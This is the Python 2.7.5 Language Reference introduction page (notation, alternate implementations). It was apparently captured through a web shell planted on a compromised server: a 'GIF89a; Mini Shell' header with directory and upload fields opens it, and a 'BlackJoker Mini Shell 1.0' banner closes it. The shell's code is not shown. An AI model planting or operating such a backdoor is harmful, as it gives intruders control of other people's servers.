GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/doc/python-docs-2.7.5/html/reference/
Upload File :
Current File : //usr/share/doc/python-docs-2.7.5/html/reference/introduction.html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    
    <title>1. Introduction &mdash; Python 2.7.5 documentation</title>
    
    <link rel="stylesheet" href="../_static/default.css" type="text/css" />
    <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
    
    <script type="text/javascript">
      var DOCUMENTATION_OPTIONS = {
        URL_ROOT:    '../',
        VERSION:     '2.7.5',
        COLLAPSE_INDEX: false,
        FILE_SUFFIX: '.html',
        HAS_SOURCE:  true
      };
    </script>
    <script type="text/javascript" src="../_static/jquery.js"></script>
    <script type="text/javascript" src="../_static/underscore.js"></script>
    <script type="text/javascript" src="../_static/doctools.js"></script>
    <script type="text/javascript" src="../_static/sidebar.js"></script>
    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Python 2.7.5 documentation"
          href="../_static/opensearch.xml"/>
    <link rel="author" title="About these documents" href="../about.html" />
    <link rel="copyright" title="Copyright" href="../copyright.html" />
    <link rel="top" title="Python 2.7.5 documentation" href="../index.html" />
    <link rel="up" title="The Python Language Reference" href="index.html" />
    <link rel="next" title="2. Lexical analysis" href="lexical_analysis.html" />
    <link rel="prev" title="The Python Language Reference" href="index.html" />
    <link rel="shortcut icon" type="image/png" href="../_static/py.png" />
    <script type="text/javascript" src="../_static/copybutton.js"></script>
    
 

  </head>
  <body>
    <div class="related">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="lexical_analysis.html" title="2. Lexical analysis"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="index.html" title="The Python Language Reference"
             accesskey="P">previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="http://www.python.org/">Python</a> &raquo;</li>
        <li>
          <a href="../index.html">Python 2.7.5 documentation</a> &raquo;
        </li>

          <li><a href="index.html" accesskey="U">The Python Language Reference</a> &raquo;</li> 
      </ul>
    </div>  

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body">
            
  <div class="section" id="introduction">
<span id="id1"></span><h1>1. Introduction<a class="headerlink" href="#introduction" title="Permalink to this headline">¶</a></h1>
<p>This reference manual describes the Python programming language. It is not
intended as a tutorial.</p>
<p>While I am trying to be as precise as possible, I chose to use English rather
than formal specifications for everything except syntax and lexical analysis.
This should make the document more understandable to the average reader, but
will leave room for ambiguities. Consequently, if you were coming from Mars and
tried to re-implement Python from this document alone, you might have to guess
things and in fact you would probably end up implementing quite a different
language. On the other hand, if you are using Python and wonder what the precise
rules about a particular area of the language are, you should definitely be able
to find them here. If you would like to see a more formal definition of the
language, maybe you could volunteer your time &#8212; or invent a cloning machine
:-).</p>
<p>It is dangerous to add too many implementation details to a language reference
document &#8212; the implementation may change, and other implementations of the
same language may work differently.  On the other hand, there is currently only
one Python implementation in widespread use (although alternate implementations
exist), and its particular quirks are sometimes worth being mentioned,
especially where the implementation imposes additional limitations.  Therefore,
you&#8217;ll find short &#8220;implementation notes&#8221; sprinkled throughout the text.</p>
<p>Every Python implementation comes with a number of built-in and standard
modules.  These are documented in <a class="reference internal" href="../library/index.html#library-index"><em>The Python Standard Library</em></a>.  A few built-in modules
are mentioned when they interact in a significant way with the language
definition.</p>
<div class="section" id="alternate-implementations">
<span id="implementations"></span><h2>1.1. Alternate Implementations<a class="headerlink" href="#alternate-implementations" title="Permalink to this headline">¶</a></h2>
<p>Though there is one Python implementation which is by far the most popular,
there are some alternate implementations which are of particular interest to
different audiences.</p>
<p>Known implementations include:</p>
<dl class="docutils">
<dt>CPython</dt>
<dd>This is the original and most-maintained implementation of Python, written in C.
New language features generally appear here first.</dd>
<dt>Jython</dt>
<dd>Python implemented in Java.  This implementation can be used as a scripting
language for Java applications, or can be used to create applications using the
Java class libraries.  It is also often used to create tests for Java libraries.
More information can be found at <a class="reference external" href="http://www.jython.org/">the Jython website</a>.</dd>
<dt>Python for .NET</dt>
<dd>This implementation actually uses the CPython implementation, but is a managed
.NET application and makes .NET libraries available.  It was created by Brian
Lloyd.  For more information, see the <a class="reference external" href="http://pythonnet.sourceforge.net">Python for .NET home page</a>.</dd>
<dt>IronPython</dt>
<dd>An alternate Python for .NET.  Unlike Python.NET, this is a complete Python
implementation that generates IL, and compiles Python code directly to .NET
assemblies.  It was created by Jim Hugunin, the original creator of Jython.  For
more information, see <a class="reference external" href="http://www.ironpython.net/">the IronPython website</a>.</dd>
<dt>PyPy</dt>
<dd>An implementation of Python written completely in Python. It supports several
advanced features not found in other implementations like stackless support
and a Just in Time compiler. One of the goals of the project is to encourage
experimentation with the language itself by making it easier to modify the
interpreter (since it is written in Python).  Additional information is
available on <a class="reference external" href="http://pypy.org/">the PyPy project&#8217;s home page</a>.</dd>
</dl>
<p>Each of these implementations varies in some way from the language as documented
in this manual, or introduces specific information beyond what&#8217;s covered in the
standard Python documentation.  Please refer to the implementation-specific
documentation to determine what else you need to know about the specific
implementation you&#8217;re using.</p>
</div>
<div class="section" id="notation">
<span id="id2"></span><h2>1.2. Notation<a class="headerlink" href="#notation" title="Permalink to this headline">¶</a></h2>
<p id="index-0">The descriptions of lexical analysis and syntax use a modified BNF grammar
notation.  This uses the following style of definition:</p>
<pre>
<strong id="grammar-token-name">name     </strong> ::=  <a class="reference internal" href="#grammar-token-lc_letter"><tt class="xref docutils literal"><span class="pre">lc_letter</span></tt></a> (<a class="reference internal" href="#grammar-token-lc_letter"><tt class="xref docutils literal"><span class="pre">lc_letter</span></tt></a> | &quot;_&quot;)*
<strong id="grammar-token-lc_letter">lc_letter</strong> ::=  &quot;a&quot;...&quot;z&quot;
</pre>
<p>The first line says that a <tt class="docutils literal"><span class="pre">name</span></tt> is an <tt class="docutils literal"><span class="pre">lc_letter</span></tt> followed by a sequence
of zero or more <tt class="docutils literal"><span class="pre">lc_letter</span></tt>s and underscores.  An <tt class="docutils literal"><span class="pre">lc_letter</span></tt> in turn is
any of the single characters <tt class="docutils literal"><span class="pre">'a'</span></tt> through <tt class="docutils literal"><span class="pre">'z'</span></tt>.  (This rule is actually
adhered to for the names defined in lexical and grammar rules in this document.)</p>
<p>Each rule begins with a name (which is the name defined by the rule) and
<tt class="docutils literal"><span class="pre">::=</span></tt>.  A vertical bar (<tt class="docutils literal"><span class="pre">|</span></tt>) is used to separate alternatives; it is the
least binding operator in this notation.  A star (<tt class="docutils literal"><span class="pre">*</span></tt>) means zero or more
repetitions of the preceding item; likewise, a plus (<tt class="docutils literal"><span class="pre">+</span></tt>) means one or more
repetitions, and a phrase enclosed in square brackets (<tt class="docutils literal"><span class="pre">[</span> <span class="pre">]</span></tt>) means zero or
one occurrences (in other words, the enclosed phrase is optional).  The <tt class="docutils literal"><span class="pre">*</span></tt>
and <tt class="docutils literal"><span class="pre">+</span></tt> operators bind as tightly as possible; parentheses are used for
grouping.  Literal strings are enclosed in quotes.  White space is only
meaningful to separate tokens. Rules are normally contained on a single line;
rules with many alternatives may be formatted alternatively with each line after
the first beginning with a vertical bar.</p>
<p id="index-1">In lexical definitions (as the example above), two more conventions are used:
Two literal characters separated by three dots mean a choice of any single
character in the given (inclusive) range of ASCII characters.  A phrase between
angular brackets (<tt class="docutils literal"><span class="pre">&lt;...&gt;</span></tt>) gives an informal description of the symbol
defined; e.g., this could be used to describe the notion of &#8216;control character&#8217;
if needed.</p>
<p>Even though the notation used is almost the same, there is a big difference
between the meaning of lexical and syntactic definitions: a lexical definition
operates on the individual characters of the input source, while a syntax
definition operates on the stream of tokens generated by the lexical analysis.
All uses of BNF in the next chapter (&#8220;Lexical Analysis&#8221;) are lexical
definitions; uses in subsequent chapters are syntactic definitions.</p>
</div>
</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar">
        <div class="sphinxsidebarwrapper">
  <h3><a href="../contents.html">Table Of Contents</a></h3>
  <ul>
<li><a class="reference internal" href="#">1. Introduction</a><ul>
<li><a class="reference internal" href="#alternate-implementations">1.1. Alternate Implementations</a></li>
<li><a class="reference internal" href="#notation">1.2. Notation</a></li>
</ul>
</li>
</ul>

  <h4>Previous topic</h4>
  <p class="topless"><a href="index.html"
                        title="previous chapter">The Python Language Reference</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="lexical_analysis.html"
                        title="next chapter">2. Lexical analysis</a></p>
<h3>This Page</h3>
<ul class="this-page-menu">
  <li><a href="../bugs.html">Report a Bug</a></li>
  <li><a href="../_sources/reference/introduction.txt"
         rel="nofollow">Show Source</a></li>
</ul>

<div id="searchbox" style="display: none">
  <h3>Quick search</h3>
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    <p class="searchtip" style="font-size: 90%">
    Enter search terms or a module, class or function name.
    </p>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>
    <div class="related">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="lexical_analysis.html" title="2. Lexical analysis"
             >next</a> |</li>
        <li class="right" >
          <a href="index.html" title="The Python Language Reference"
             >previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="http://www.python.org/">Python</a> &raquo;</li>
        <li>
          <a href="../index.html">Python 2.7.5 documentation</a> &raquo;
        </li>

          <li><a href="index.html" >The Python Language Reference</a> &raquo;</li> 
      </ul>
    </div>
    <div class="footer">
    &copy; <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation.
    <br />
    The Python Software Foundation is a non-profit corporation.
    <a href="http://www.python.org/psf/donations/">Please donate.</a>
    <br />
    Last updated on Jul 03, 2019.
    <a href="../bugs.html">Found a bug</a>?
    <br />
    Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.1.3.
    </div>

  </body>
</html>

./BlackJoker Mini Shell 1.0